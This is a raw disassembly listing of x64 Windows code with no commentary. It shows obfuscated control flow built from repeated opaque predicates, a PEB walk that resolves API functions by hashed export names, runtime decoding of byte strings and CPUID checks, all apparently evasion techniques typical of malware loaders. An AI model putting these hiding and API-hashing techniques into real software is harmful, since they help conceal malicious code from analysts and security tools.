subsd xmm1, xmm0
mov r15, qword [rsp + 0x50]
xorps xmm0, xmm0
cvtsi2sd xmm0, r15
mulsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140043825
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x140043825
mov ebx, 7
jmp 0x1400438bd
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400438b9
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si ebx, xmm0
jmp 0x1400438bd
mov ebx, dword [rsp + 0x60]
call fcn.140003790
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov edx, edi
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, ebx
test eax, eax
je 0x1400439d1
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rsi, r14
nop
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov r11d, dword [rax + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x1400439aa
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x1400439aa
mov r10d, dword [r11 + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r10 + r8*4]
mov ecx, dword [rax + r9]
movzx eax, byte [rcx + r9]
lea rdx, [rcx + 1]
add rdx, r9
test al, al
je 0x1400439a5
mov ecx, 0x72db9983
mov rbx, rdx
nop dword [rax]
nop word [rax + rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rbx + 1]
mov rbx, rdx
test al, al
jne 0x140043980
cmp ecx, 0x8a1a3949
je 0x140043ac9
test r8d, r8d
jne 0x140043950
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r14
je 0x1400439c0
cmp qword [rax + 0x30], 0
je 0x1400439c0
mov al, 1
jmp 0x1400439c2
xor al, al
test al, al
jne 0x140043920
xor edx, edx
mov rcx, r15
call rdx
call fcn.140003750
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003790
movsx ebx, al
mov edx, esi
imul edx, edi
imul eax, edx, 7
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140043ae7
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x140043ae7
mov eax, 7
jmp 0x140043b7f
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [r11 + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
jmp 0x1400439cc
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140043b7b
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
jmp 0x140043b7f
mov eax, dword [rsp + 0x60]
xor r12d, r12d
cmp r12d, eax
jge 0x140041817
lea rdx, [rsp + 0x1a68]
lea rcx, [rsp + 0x1a48]
call fcn.140001cd0
jmp 0x14004180c
movsd xmm8, qword [0x140073f70]
xor r12d, r12d
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rcx + rdx*2]
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140045cbc
mov rcx, r12
mov eax, dword [0x14007d2c0]
cmp dword [0x14007d2c4], eax
setg cl
xorps xmm2, xmm2
cvtsi2sd xmm2, rcx
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140043cbf
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x140043cbf
mov ebx, 7
jmp 0x140043d57
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140043d53
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si ebx, xmm0
jmp 0x140043d57
mov ebx, dword [rsp + 0x60]
call fcn.140003790
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov edx, edi
movsx ecx, al
imul edx, ecx
imul eax, edx, 7
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, ebx
test eax, eax
je 0x140045cbc
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140045cbc
mov rcx, r12
mov eax, dword [0x14007d2c0]
cmp dword [0x14007d2c4], eax
setg cl
xorps xmm2, xmm2
cvtsi2sd xmm2, rcx
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140043eb1
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x140043eb1
mov ebx, 7
jmp 0x140043f49
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140043f45
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si ebx, xmm0
jmp 0x140043f49
mov ebx, dword [rsp + 0x60]
call fcn.140003790
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov edx, edi
movsx ecx, al
imul edx, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rcx + rdx*8]
add eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, ebx
test eax, eax
je 0x140045cbc
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rcx + rdx*4]
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140045cbc
mov rcx, r12
mov eax, dword [0x14007d2c0]
cmp dword [0x14007d2c4], eax
setg cl
xorps xmm2, xmm2
cvtsi2sd xmm2, rcx
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004409f
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x14004409f
mov ebx, 7
jmp 0x140044137
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140044133
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si ebx, xmm0
jmp 0x140044137
mov ebx, dword [rsp + 0x60]
call fcn.140003790
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov edx, edi
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, ebx
test eax, eax
je 0x140045cbc
movdqa xmm0, xmmword [0x140073fd0]
movdqu xmmword [rsp + 0x2640], xmm0
mov byte [rsp + 0xc00], 0x36
mov byte [rsp + 0xc01], 0x35
mov byte [rsp + 0xc02], 0x34
mov byte [rsp + 0xc03], 0xb3
xor eax, eax
mov qword [rsp + 0xc04], rax
mov dword [rsp + 0xc0c], eax
mov word [rsp + 0xc10], ax
mov qword [rsp + 0x50], r12
mov rax, qword [rsp + 0x50]
cmp rax, 0x12
jae 0x14004422c
movabs r8, 0x34c047df92265f89
mov rdx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx ebx, byte [rsp + rax + 0xc00]
add rdx, r8
movzx eax, bl
and al, dl
add al, al
sub bl, al
add bl, 0x41
add bl, dl
mov rax, qword [rsp + 0x50]
mov byte [rsp + rax + 0xc00], bl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x12
jb 0x1400441e5
mov eax, dword [rsp + 0xc00]
xor ecx, ecx
cpuid
mov dword [rsp + 0x2640], eax
mov dword [rsp + 0x2644], ebx
mov dword [rsp + 0x2648], ecx
mov dword [rsp + 0x264c], edx
mov byte [rsp + 0xc20], 0xb0
mov byte [rsp + 0xc21], 0xb1
mov byte [rsp + 0xc22], 0xb2
mov byte [rsp + 0xc23], 0xb3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0xc24], xmm0
mov dword [rsp + 0xc34], eax
mov word [rsp + 0xc38], ax
mov qword [rsp + 0x50], r12
mov rax, qword [rsp + 0x50]
cmp rax, 0x1a
jae 0x1400442f7
movabs r8, 0x324e8d55e9feb3c8
nop dword [rax]
mov rdx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx ebx, byte [rsp + rax + 0xc20]
add rdx, r8
movzx eax, bl
and al, dl
add al, al
sub bl, al
sub bl, 0x78
add bl, dl
mov rax, qword [rsp + 0x50]
mov byte [rsp + rax + 0xc20], bl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x1a
jb 0x1400442b0
movsxd rax, dword [rsp + 0xc20]
mov eax, dword [rsp + rax*4 + 0x2640]
mov dword [rsp + 0x60], eax
mov byte [rsp + 0xc40], 0x86
mov byte [rsp + 0xc41], 0x85
mov byte [rsp + 0xc42], 0x84
mov byte [rsp + 0xc43], 0x83
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0xc44], xmm0
mov qword [rsp + 0xc54], rax
mov word [rsp + 0xc5c], ax
mov qword [rsp + 0x50], r12
mov rax, qword [rsp + 0x50]
cmp rax, 0x1e
jae 0x1400443a8
movabs r8, 0x1df97083b222ca41
mov rdx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx ebx, byte [rsp + rax + 0xc40]
add rdx, r8
movzx eax, bl
and al, dl
add al, al
sub bl, al
add bl, 0x39
add bl, dl
mov rax, qword [rsp + 0x50]
mov byte [rsp + rax + 0xc40], bl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x1e
jb 0x140044361
movzx eax, byte [rsp + 0xc40]
imul eax, eax, 0x1010101
movd xmm0, eax
pshufd xmm0, xmm0, 0
movups xmmword [rsp + 0x2690], xmm0
movups xmmword [rsp + 0x26a0], xmm0
mov r14d, r12d
mov dword [rsp + 0x78], r12d
mov r15d, dword [rsp + 0x60]
mov r12d, dword [rsp + 0x60]
mov r13d, dword [rsp + 0x60]
movsd xmm7, qword [0x140073f68]
movsd xmm6, qword [0x140073f90]
call fcn.140003750
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003790
movsx ebx, al
mov edx, esi
imul edx, edi
imul eax, edx, 7
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400444f2
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x1400444f2
mov eax, 7
mov dword [rsp + 0x74], eax
jmp 0x14004458e
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004458a
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
mov dword [rsp + 0x74], eax
jmp 0x14004458e
mov eax, dword [rsp + 0x74]
cmp r14d, eax
jge 0x140045aff
mov byte [rsp + 0xc80], 0xac
mov byte [rsp + 0xc81], 0xad
mov byte [rsp + 0xc82], 0xaa
mov byte [rsp + 0xc83], 0x2b
xorps xmm0, xmm0
movups xmmword [rsp + 0xc84], xmm0
mov qword [rsp + 0x50], 0
mov rax, qword [rsp + 0x50]
cmp rax, 0x14
jae 0x140044627
mov rdx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx ebx, byte [rsp + rax + 0xc80]
movabs rax, 0x66c0f297d348eeba
add rdx, rax
movzx eax, bl
and al, dl
add al, al
sub bl, al
sub bl, 0x16
add bl, dl
mov rax, qword [rsp + 0x50]
mov byte [rsp + rax + 0xc80], bl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x14
jb 0x1400445d6
mov r14d, dword [rsp + 0xc80]
mov eax, r14d
mov ecx, r14d
cmp ecx, dword [rsp + 0x60]
ja 0x140045af1
xor ecx, ecx
cpuid
mov dword [rsp + 0x2640], eax
mov dword [rsp + 0x2644], ebx
mov dword [rsp + 0x2648], ecx
mov dword [rsp + 0x264c], edx
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140045ae9
mov byte [rsp + 0xca0], 0xc2
mov byte [rsp + 0xca1], 0xc1
mov byte [rsp + 0xca2], 0xc2
mov byte [rsp + 0xca3], 0x43
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0xca4], xmm0
mov byte [rsp + 0xcb4], al
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x15
jae 0x140044741
nop dword [rax + rax]
mov rdx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx ebx, byte [rsp + rax + 0xca0]
movabs rax, 0x5fffcf3ea47780a0
add rdx, rax
movzx eax, bl
and al, dl
add al, al
sub bl, al
sub bl, 0x60
add bl, dl
mov rax, qword [rsp + 0x50]
mov byte [rsp + rax + 0xca0], bl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x15
jb 0x1400446f0
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
xor eax, eax
cmp r14d, dword [rsp + 0xca0]
sete al
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140044808
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x140044808
mov r15d, 7
jmp 0x14004489b
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004489b
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si r15d, xmm0
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rcx + rdx*8]
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, r15d
test eax, eax
je 0x1400448f8
movups xmm0, xmmword [rsp + 0x2640]
movups xmmword [rsp + 0x2690], xmm0
inc r14d
jmp 0x14004462f
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
movsx ecx, al
mov eax, ebx
imul eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140045ae9
call fcn.1400037a0
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.140003780
movsx ebx, al
movsx edx, byte [0x14007d2e0]
imul edx, edi
lea edx, [rdx + rdx*2]
add edx, edx
sub edx, esi
movsx eax, byte [0x14007c0dc]
add eax, edx
add eax, ebx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140044a28
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x140044a28
mov r12d, 7
jmp 0x140044abb
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
